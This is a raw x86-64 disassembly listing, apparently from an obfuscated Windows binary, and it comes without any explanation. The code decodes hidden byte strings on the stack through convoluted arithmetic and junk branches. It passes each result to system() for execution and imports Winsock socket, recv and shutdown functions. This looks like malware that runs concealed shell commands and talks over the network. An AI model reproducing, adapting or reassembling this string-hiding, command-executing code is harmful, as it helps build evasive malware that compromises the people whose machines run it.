movzx r11d, bl
add al, al
sub r11b, al
sub r11b, 0x20
add r11b, dl
jmp 0x1401451c7
lea rax, [rcx + 1]
cmp r8, rax
jne 0x140144fee
lea ecx, [rdi + 8]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x38
jmp 0x140145191
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140145013
movzx r10d, dil
movzx eax, bl
movzx r11d, bl
lea edx, [r10 + 0x58]
and al, dl
add al, al
sub r11b, al
sub r11b, 0x68
jmp 0x14014504d
lea rax, [r9 + 9]
cmp r8, rax
jne 0x140144c5a
movzx r10d, dil
mov ecx, 0x28
lea edx, [r10 - 0x30]
jmp 0x140145124
movzx ecx, byte [rbp + rdi - 0x2b]
movzx r10d, dil
movzx eax, bl
lea edx, [r10 + 0x20]
and al, dl
sub cl, al
add cl, 0x10
lea r11d, [rcx + rcx]
add r11b, dl
add r10b, 0x34
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
sub r10b, 0x6c
add r10b, bl
add r10b, r11b
mov byte [rbp + rdi - 0x2b], r10b
jmp 0x14014518e
lea edx, [rdi + 0x48]
mov ecx, 4
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
jmp 0x1401451c7
lea ecx, [rdi + 0xc]
movzx eax, bl
and al, cl
add al, al
sub bl, al
movzx eax, byte [rbp + rdi - 0x2b]
add rax, r9
add rdi, rax
lea r11d, [rcx + rbx]
sub r11b, 0x54
inc rdi
jmp 0x140144812
lea edx, [rdi - 0x44]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
sub r11b, al
sub r11b, 0x24
add r11b, dl
jmp 0x1401451c7
lea edx, [rdi + 0x6c]
mov ecx, 6
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14014518e
lea edx, [rdi - 0xc]
mov ecx, 0x2a
movzx eax, bl
inc r9
and al, dl
dec rdi
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc rdi
jmp 0x140144812
movzx r10d, dil
mov ecx, getservbyname
lea edx, [r10 - 0x34]
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, bl
add r10b, 0xc
and al, r10b
add al, al
sub bl, al
sub bl, 0x54
add bl, r10b
mov byte [rbp + rdi - 0x2b], bl
inc r9
dec rdi
inc rdi
jmp 0x140144812
lea ecx, [rdi + 0x2c]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x34
dec rdi
inc rdi
jmp 0x140144812
lea ecx, [rdi - 0x24]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 4
add r8, r9
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140144812
lea rcx, [rdi + r12]
movzx ebx, r10b
and r10b, cl
mov eax, reloc.WS2_32.dll_shutdown
sub al, r10b
lea r11d, [rax + rax]
add r11b, cl
add r11b, bl
lea edx, [rdi + 0x5c]
inc r9
movzx eax, dl
mov ecx, 0x3e
and al, bl
sub cl, al
add cl, cl
add cl, dl
add cl, bl
movzx eax, cl
mov byte [rbp + rdi - 0x2b], al
add rax, r9
sub rdi, rax
lea ecx, [rdi + 0x70]
inc r8
movzx eax, cl
and al, bl
add al, al
sub cl, al
mov rax, 0xffffffffffffffff
sub rax, r8
sub cl, 0x10
add cl, bl
mov byte [rbp + rdi - 0x2b], cl
add rdi, rax
movzx eax, byte [rbp + rdi - 0x2b]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140144812
mov ecx, 0x2e
lea rdx, [rdi + r15]
movzx eax, r10b
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rbp + rdi - 0x2b]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140144812
add dil, 0x64
mov ecx, 0x22
movzx eax, bl
and al, dil
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dil
jmp 0x140144810
add dil, 0x3c
mov ecx, 0x2e
movzx eax, bl
and al, dil
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dil
jmp 0x140144800
lea rcx, [rbp + 0x166c145]
jmp 0x1401452a8
lea rcx, [rbp + 0x1604859]
jmp 0x1401452a8
lea rcx, [rbp - 0x2b]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movzx r10d, byte [rbp + 0x67]
xor eax, eax
mov qword [rbp - 0x5f], rax
movabs rsi, 0x6ea6aeb0d5e9757d
mov byte [rbp - 0x57], al
movabs r15, 0x68ec6d5d962366b
mov dword [rbp - 0x69], 0xba4a3b1
movabs r14, 0x4bf40c1281bc6077
mov dword [rbp - 0x65], 0x1c084e19
mov word [rbp - 0x61], 0xed4a
nop
mov r8, qword [0x14051e4d0]
mov r9, qword [0x14051e4d8]
nop
xor edi, edi
cmp rdi, 0x13
jae 0x140145e89
movzx ebx, byte [rbp + rdi - 0x69]
mov rdx, rbx
cmp r8, rdi
ja 0x140145e80
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140145341
lea rcx, [rdi + rsi]
movzx eax, dl
and al, cl
movzx r10d, dl
add al, al
sub r10b, al
sub r10b, 0x6b
add r10b, cl
jmp 0x140145380
je 0x140145e19
inc rax
cmp r8, rax
je 0x140145da4
lea rax, [r9 + 3]
cmp r8, rax
je 0x140145d74
lea rax, [r9 + 5]
cmp r8, rax
je 0x140145d3e
lea rax, [r9 + 8]
cmp r8, rax
je 0x140145cff
nop word [rax + rax]
cmp r9, rdi
ja 0x140145e77
lea rcx, [r9 + 3]
cmp r8, rcx
jae 0x1401453aa
lea r10d, [rdi + 0x41]
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
add r10b, 0x39
add r10b, bl
jmp 0x1401453f0
lea rax, [r9 + 1]
cmp r8, rax
je 0x140145ce4
cmp r8, rcx
je 0x140145cc9
lea rax, [r9 + 5]
cmp r8, rax
je 0x140145cb0
lea rax, [r9 + 7]
cmp r8, rax
je 0x140145c97
lea rax, [r9 + 9]
cmp r8, rax
je 0x140145c70
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x140145950
nop dword [rax]
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x14014592d
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x140145906
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1401458e2
lea rax, [r9 + 2]
cmp r8, rax
je 0x1401458c4
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1401458ab
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x140145892
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x140145874
lea rax, [r9 + 5]
cmp r8, rax
je 0x140145856
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x14014582a
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x140145400
lea r8, [r9 + 0x3e8]
lea r9, [r8 + 0x200]
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x140145e5c
lea rax, [r9 + 8]
cmp r8, rax
jb 0x140145e41
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1401455ed
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1401455d2
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1401455b7
lea rax, [r9 + 1]
cmp r8, rax
jb 0x1401457db
lea rax, [r9 + 9]
cmp r8, rax
jb 0x140145795
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x140145754
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x140145733
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x140145400
lea r8, [r9 + 3]
lea r9, [r8 + 2]
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x140145707
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1401456ea
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x1401456cd
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1401456b4
lea rax, [r9 + 4]
cmp r8, rax
ja 0x140145696
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x140145674
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x14014564f
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x140145629
lea rax, [r9 + 8]
cmp r8, rax
ja 0x140145608
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x140145400
lea r8, [r9 + 0x40]
lea r9, [r8 + 0x28]
jmp 0x140145400
lea r10d, [rdi - 0x21]
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
sub r10b, 0x19
add r10b, bl
jmp 0x1401453f0
lea r10d, [rdi - 0x1b]
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
sub r10b, 0x43
add r10b, bl
jmp 0x140145380
lea r10d, [rdi - 0x15]
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
sub r10b, 0x6d
add r10b, bl
jmp 0x140145311
lea ecx, [rdi + 8]
movzx eax, bl
and al, cl
movzx r10d, bl
add al, al
movzx r11d, dil
sub r10b, al
sub r10b, 0x38
add r10b, cl
jmp 0x140145d18
lea ecx, [rdi + 0xe]
movzx eax, bl
and al, cl
movzx r10d, bl
add al, al
inc r9
sub r10b, al
dec rdi
sub r10b, 0x62
add r10b, cl
inc rdi
jmp 0x140145302
lea ecx, [rdi + 0x14]
movzx eax, bl
and al, cl
mov r10d, 0x3a
sub r10b, al
dec rdi
add r10b, r10b
add r10b, bl
add r10b, cl
inc rdi
jmp 0x140145302
lea edx, [rdi + 0x1a]
mov ecx, 0x25
movzx eax, bl
movzx r11d, dil
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x140145d57
lea edx, [rdi + 0x20]
mov ecx, reloc.WS2_32.dll_recv
movzx eax, bl
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x140145d88
lea ecx, [rdi + 0x26]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0xa
jmp 0x140145d8b
lea edx, [rdi + 0x2c]
movzx eax, bl
and al, dl
movzx r10d, bl
add al, al
sub r10b, al
sub r10b, 0x34
add r10b, dl
jmp 0x140145dbd
lea edx, [rdi + 0x32]
movzx eax, bl
and al, dl
movzx r10d, bl
add al, al
sub r10b, al
sub r10b, 0x5e
add r10b, dl
jmp 0x140145de1
lea edx, [rdi + 0x38]
movzx eax, bl
and al, dl
mov ecx, 0x3c
sub cl, al
movzx eax, byte [rbp + rdi - 0x69]
add rax, r9
add rdi, rax
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
inc rdi
jmp 0x140145302
lea ecx, [rdi - 0x39]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x71
mov byte [rbp + rdi - 0x69], r10b
inc rdi
jmp 0x140145302
lea edx, [rdi - 0x33]
movzx eax, bl
and al, dl
movzx r10d, bl
add al, al
sub r10b, al
add r10b, 0x65
add r10b, dl
cmp r9, 0x28
jb 0x140145747
movzx ecx, bl
movzx r11d, dil
movzx eax, bl
lea edx, [r11 - 0x32]
and al, dl
add al, al
sub cl, al
add cl, dl
lea r10d, [rcx*2 - 0x44]
jmp 0x140145d18
lea edx, [rdi - 0x2d]
movzx eax, bl
and al, dl
movzx r10d, bl
add al, al
sub r10b, al
add r10b, 0x3b
add r10b, dl
cmp r8, 2
jae 0x140145c27
lea rax, [r9 + 0x10]
cmp r8, rax
jbe 0x140145b45
lea edx, [rdi + 0xa]
movzx eax, bl
and al, dl
movzx r10d, bl
add al, al
sub r10b, al
sub r10b, 0x46
jmp 0x140145769
lea edx, [rdi - 0x27]
movzx eax, bl
and al, dl
movzx r10d, bl
add al, al
sub r10b, al
add r10b, 0x11
add r10b, dl
lea rax, [r9 + r8]
cmp rax, 0x200
je 0x140145c4e
lea rax, [r9 + 0x80]
cmp r8, rax
jbe 0x140145a74
lea edx, [rdi - 0x37]
movzx eax, bl
and al, dl
movzx r10d, bl
add al, al
sub r10b, al
sub r10b, 0x7f
jmp 0x1401457aa
lea edx, [rdi - 0x7a]
mov ecx, 0x2b
movzx eax, dl
and al, bl
sub cl, al
movzx eax, byte [rbp + rdi - 0x69]
add rax, r9
add rdi, rax
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
inc rdi
jmp 0x140145302
lea edx, [rdi - 0x74]
mov ecx, reloc.WS2_32.dll_shutdown
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x140145de1
lea edx, [rdi - 0x6e]
mov ecx, 1
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x140145dbd
lea ecx, [rdi - 0x68]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x28
jmp 0x140145d8b
lea ecx, [rdi - 0x62]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x52
jmp 0x140145d88
movzx r11d, dil
lea ecx, [r11 - 0x5c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x7c
jmp 0x140145d57
lea edx, [rdi - 0x56]
mov ecx, 0x2d
movzx eax, dl
dec rdi
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
inc rdi
jmp 0x140145302
lea edx, [rdi - 0x50]
mov ecx, 0x18
movzx eax, dl
inc r9
and al, bl
dec rdi
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
inc rdi
jmp 0x140145302
mov ecx, 3
movzx r11d, dil
lea edx, [r11 - 0x4a]
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x140145d18
lea rax, [r9 + 0x42]
cmp r8, rax
jae 0x140145972
lea ecx, [rdi + 0x7d]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x6b
jmp 0x1401457f3
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1401459a7
lea edx, [rdi - 0x7e]
mov ecx, 0x39
movzx eax, dl
and al, bl
sub cl, al
movzx eax, byte [rbp + rdi - 0x69]
add rax, r9
add rdi, rax
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
inc rdi
jmp 0x140145302
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1401459c9
lea ecx, [rdi + 0x76]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x3a
jmp 0x140145dbd
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1401459f0
lea edx, [rdi + 0x6a]
mov ecx, ntohs
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x140145d88
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140145a1c
mov ecx, 0x22
movzx r11d, dil
lea edx, [r11 + 0x64]
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x140145d57
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140145a49
lea edx, [rdi + 0x5e]
mov ecx, reloc.WS2_32.dll_getservbyname
movzx eax, dl
dec rdi
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
inc rdi
jmp 0x140145302
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1401457f3
movzx r11d, dil
lea ecx, [r11 + 0x52]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x3e
jmp 0x140145d18
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140145a9f
movzx r11d, dil
movzx eax, bl
movzx r10d, bl
lea edx, [r11 - 0x3d]
and al, dl
add al, al
sub r10b, al
sub r10b, 0x55
add r10b, dl
jmp 0x140145d18
inc rax
cmp r8, rax
jne 0x140145ac9
lea ecx, [rdi - 0x43]
movzx eax, bl
and al, cl
inc r9
add al, al
dec rdi
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x2b
inc rdi
jmp 0x140145302
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140145aeb
lea ecx, [rdi - 0x5b]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
add r10b, 0x7d
jmp 0x140145d8b
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140145b11
lea edx, [rdi - 0x61]
movzx eax, bl
and al, dl
movzx r10d, bl
add al, al
sub r10b, al
sub r10b, 0x59
add r10b, dl
jmp 0x140145dbd
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1401457ad
lea ecx, [rdi - 0x6d]
movzx eax, bl
and al, cl
add al, al
sub bl, al
movzx eax, byte [rbp + rdi - 0x69]
add rax, r9
add rdi, rax
lea r10d, [rcx + rbx]
sub r10b, 5
inc rdi
jmp 0x140145302
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140145b75
lea ecx, [rdi + 4]
movzx eax, bl
and al, cl
add al, al
sub bl, al
movzx eax, byte [rbp + rdi - 0x69]
add rax, r9
add rdi, rax
lea r10d, [rcx + rbx]
sub r10b, 0x1c
inc rdi
jmp 0x140145302
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140145b9c
lea edx, [rdi - 8]
mov ecx, 0x1c
movzx eax, bl
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x140145dbd
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140145bc7
movzx r11d, dil
movzx eax, bl
movzx r10d, bl
lea edx, [r11 - 0x1a]
and al, dl
add al, al
sub r10b, al
sub r10b, 0x4a
add r10b, dl
jmp 0x140145d57
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140145bf7
lea edx, [rdi - 0x26]
mov ecx, 5
movzx eax, bl
inc r9
and al, dl
dec rdi
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
inc rdi
jmp 0x140145302
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14014576c
mov ecx, 0x1a
movzx r11d, dil
movzx eax, bl
lea edx, [r11 - 0x2c]
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x140145d18
movzx r10d, byte [rbp + rdi - 0x69]
movzx r11d, dil
movzx eax, bl
lea edx, [r11 - 0x38]
and al, dl
add al, al
sub r10b, al
sub r10b, 0x78
add r10b, dl
add r10b, bl
jmp 0x140145d57
lea edx, [rdi - 0x3e]
movzx eax, bl
and al, dl
movzx r10d, bl
add al, al
sub r10b, al
sub r10b, byte [rbp + rdi - 0x69]
sub r10b, 0x4e
add r10b, dl
jmp 0x140145dbd
lea ecx, [rdi + 0xb]
movzx eax, cl
and al, bl
add al, al
sub cl, al
movzx eax, byte [rbp + rdi - 0x69]
add rax, r9
add rdi, rax
lea r10d, [rbx + rcx]
sub r10b, 0x4d
inc rdi
jmp 0x140145302
lea ecx, [rdi + 0x17]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0x5f
jmp 0x140145dbd
lea ecx, [rdi + 0x23]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0xb
jmp 0x140145d88
movzx r11d, dil
lea ecx, [r11 + 0x29]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x1f
jmp 0x140145d57
movzx r11d, dil
lea ecx, [r11 + 0x3b]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0x63
jmp 0x140145d18
movzx r11d, dil
lea ecx, [r11 + 0x47]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0xf
movzx eax, bl
add r11b, 0x4b
and al, r11b
add al, al
sub bl, al
sub bl, 0xd
add bl, r11b
mov byte [rbp + rdi - 0x69], bl
inc r9
dec rdi
inc rdi
jmp 0x140145302
movzx r11d, dil
lea ecx, [r11 + 0x59]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x6f
movzx eax, bl
add r11b, 0x45
and al, r11b
add al, al
sub bl, al
add bl, 0x1d
add bl, r11b
add bl, r10b
mov byte [rbp + rdi - 0x69], bl
jmp 0x140145d88
lea ecx, [rdi + 0x5f]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0x67
add r8, r9
movzx eax, r10b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140145302
movzx ebx, dl
lea rcx, [rdi + r15]
and dl, cl
movzx r10d, bl
add dl, dl
sub r10b, dl
add r10b, 0x13
add r10b, cl
lea edx, [rdi + 0x3f]
movzx eax, bl
and al, dl
inc r9
add al, al
movzx ecx, bl
sub cl, al
add cl, 0x47
add cl, dl
movzx eax, cl
mov byte [rbp + rdi - 0x69], al
add rax, r9
sub rdi, rax
lea ecx, [rdi - 0x44]
movzx eax, bl
and al, cl
inc r8
add al, al
sub bl, al
mov rax, 0xffffffffffffffff
sub rax, r8
sub bl, 0x24
add bl, cl
mov byte [rbp + rdi - 0x69], bl
add rdi, rax
movzx eax, byte [rbp + rdi - 0x69]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140145302
lea rcx, [rdi + r14]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
sub r10b, 0x41
movzx eax, byte [rbp + rdi - 0x69]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140145302
sub dil, 0xf
movzx eax, bl
and al, dil
add al, al
sub bl, al
lea r10d, [rdi + rbx]
add r10b, 0x69
jmp 0x140145300
sub dil, 9
movzx eax, bl
and al, dil
add al, al
sub bl, al
lea r10d, [rdi + rbx]
add r10b, 0x3f
jmp 0x1401452f0
lea rcx, [rbp + 0x15aef93]
jmp 0x140145e8d
lea rcx, [rbp + 0x1046510]
jmp 0x140145e8d
lea rcx, [rbp - 0x69]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movzx r8d, byte [rbp + 0x67]
xor eax, eax
mov qword [rbp - 0x36], rax
movabs rsi, 0x1429d3f204d1004b
mov word [rbp - 0x2e], ax
movabs r14, 0xb57873822b5902a3
mov byte [rbp - 0x2c], al
movabs r15, 0x3c7d7bd60e7300e1
mov dword [rbp - 0x56], 0x3cc93016
mov dword [rbp - 0x52], 0x2024d030
mov dword [rbp - 0x4e], 0x9782d2a
mov dword [rbp - 0x4a], 0xdb2bd825
mov dword [rbp - 0x46], 0xd8280161
mov dword [rbp - 0x42], 0xc1116df
mov dword [rbp - 0x3e], 0xe613351a
mov dword [rbp - 0x3a], 0x675e451f
nop dword [rax + rax]
mov rax, qword [0x14051e4d0]
mov r9, qword [0x14051e4d8]
nop
xor r11d, r11d
cmp r11, 0x2b
jae 0x140146aaa
movzx r10d, byte [rbp + r11 - 0x56]
mov rbx, r10
cmp rax, r11
ja 0x140146aa1
lea rcx, [r9 + 1]
cmp rax, rcx
jae 0x140145f53
lea rdx, [r11 + rsi]
movzx ecx, bl
and cl, dl
movzx r8d, bl
add cl, cl
sub r8b, cl
sub r8b, 0xd
add r8b, dl
jmp 0x140145f80
je 0x140146a35
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x140146a07
lea rcx, [r9 + 5]
cmp rax, rcx
je 0x1401469ce
lea rcx, [r9 + 7]
cmp rax, rcx
je 0x1401469ad
cmp r9, r11
ja 0x140146a98
lea rcx, [r9 + 0x2a]
cmp rax, rcx
jae 0x140145fab
lea r8d, [r11 + 0x27]
movzx ecx, r8b
and cl, r10b
add cl, cl
sub r8b, cl
sub r8b, 0x11
add r8b, r10b
jmp 0x140145ff0
lea rdx, [r9 + 1]
cmp rax, rdx
je 0x14014696c
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x14014694b
lea rcx, [r9 + 5]
cmp rax, rcx
je 0x14014692d
lea rcx, [r9 + 6]
cmp rax, rcx
je 0x140146912
lea rcx, [rdx + 1]
cmp rax, rcx
je 0x14014689a
nop dword [rax]
lea rcx, [r9 + rax]
cmp rcx, r11
jbe 0x140146551
nop dword [rax]
lea rcx, [r9 + 0x61]
cmp rax, rcx
je 0x14014652e
lea rcx, [r9 + 0x64]
cmp rax, rcx
je 0x140146506
lea rcx, [r9 + 0xa]
cmp rax, rcx
je 0x1401464e1
lea rcx, [r9 + 0x28]
cmp rax, rcx
je 0x1401464be
lea rcx, [r9 + 6]
cmp rax, rcx
je 0x14014649c
lea rcx, [r9 + 0x2a]
cmp rax, rcx
je 0x140146481
lea rcx, [r9 + 0x400]
cmp rax, rcx
je 0x140146466
lea rcx, [r9 + 0x40]
cmp rax, rcx
je 0x14014644b
lea rdx, [r9 + 8]
cmp rax, rdx
je 0x140146421
lea rcx, [r9 + 0x10]
cmp rax, rcx
je 0x140146000
lea r9, [rdx + 4]
mov rax, rdx
lea rcx, [r9 + 1]
cmp rdx, rcx
jb 0x140146a7b
lea rcx, [r9 + 0x1000]
cmp rdx, rcx
jb 0x140146a5e
lea rcx, [r9 + 0x42]
cmp rdx, rcx
jb 0x1401461e8
lea rcx, [r9 + 9]
cmp rdx, rcx
jb 0x1401461cc
lea rcx, [r9 + 2]
cmp rdx, rcx
jb 0x1401461b0
lea rcx, [r9 + 5]
cmp rdx, rcx
jb 0x1401463d8
lea rcx, [r9 + 0x5a]
cmp rdx, rcx
jb 0x140146393
lea rcx, [r9 + 0x3e8]
cmp rdx, rcx
jb 0x140146356
lea rcx, [r9 + 0x28]
cmp rdx, rcx
jb 0x140146333
lea rcx, [r9 + 6]
cmp rdx, rcx
jb 0x140146000
lea rax, [r9 + 3]
lea r9, [rax + 0x2a]
lea rcx, [r9 + 0x7a]
cmp rax, rcx
ja 0x140146305
lea rcx, [r9 + 0x2a]
cmp rax, rcx
ja 0x1401462e6
lea rcx, [r9 + 0x400]
cmp rax, rcx
ja 0x1401462c7
lea rcx, [r9 + 0x40]
cmp rax, rcx
ja 0x1401462ac
lea rcx, [r9 + 8]
cmp rax, rcx
ja 0x14014628e
lea rcx, [r9 + 1]
cmp rax, rcx
ja 0x14014626f
lea rcx, [r9 + 0x1000]
cmp rax, rcx
ja 0x14014624e
lea rcx, [r9 + 0x42]
cmp rax, rcx
ja 0x140146229
lea rcx, [r9 + 0x200]
cmp rax, rcx
ja 0x140146204
lea rcx, [r9 + 0x20]
cmp rax, rcx
ja 0x140146000
lea rax, [r9 + 9]
lea r9, [rax + 5]
jmp 0x140146000
lea r8d, [r11 - 0x47]
movzx ecx, r8b
and cl, r10b
add cl, cl
sub r8b, cl
sub r8b, 0xf
add r8b, r10b
jmp 0x140145ff0
lea r8d, [r11 + 0x23]
movzx ecx, r8b
and cl, r10b
add cl, cl
sub r8b, cl
add r8b, 0xb
add r8b, r10b
jmp 0x140145f80
lea r8d, [r11 - 0x73]
movzx ecx, r8b
and cl, r10b
add cl, cl
sub r8b, cl
add r8b, 0x25
add r8b, r10b
jmp 0x140145f23
lea edx, [r11 + 0x38]
movzx ecx, r10b
and cl, dl
mov r8d, 0x3c
sub r8b, cl
movzx ebx, r11b
add r8b, r8b
add r8b, r10b
add r8b, dl
jmp 0x140146985
lea edx, [r11 - 0x5e]
movzx ecx, r10b
and cl, dl
inc r9
add cl, cl
dec r11
sub r10b, cl
lea r8d, [rdx + r10]
sub r8b, 0x6e
inc r11
jmp 0x140145f13
lea edx, [r11 + 0xc]
dec r11
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
sub r8b, 0x54
inc r11
jmp 0x140145f13
lea edx, [r11 + 0x76]
movzx ebx, r11b
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
sub r8b, 0x3a
jmp 0x1401469e7
lea edx, [r11 - 0x20]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
sub r8b, 0x20
add rax, r9
jmp 0x140146a1c
lea edx, [r11 + 0x4a]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
sub r8b, 6
jmp 0x140146a1c
lea r8d, [r11 - 0x4c]
mov edx, 0xa
movzx ecx, r8b
and cl, r10b
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r10b
jmp 0x1401468b0
lea r8d, [r11 + 0x1e]
mov edx, reloc.WS2_32.dll_socket
movzx ecx, r8b
and cl, r10b
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r10b
jmp 0x1401468d5
lea r8d, [r11 - 0x78]
mov edx, 0x24
movzx ecx, r8b
and cl, r10b
sub dl, cl
movzx ecx, byte [rbp + r11 - 0x56]
add dl, dl
add rcx, r9
add r8b, dl
add r11, rcx
add r8b, r10b
inc r11
jmp 0x140145f13
lea edx, [r11 + 0x11]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
sub r8b, 0x77
mov byte [rbp + r11 - 0x56], r8b
inc r11
jmp 0x140145f13
lea edx, [r11 + 0x7b]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
sub r8b, 0x5d
cmp r9, 0x20
jb 0x140146349
movzx ebx, r11b
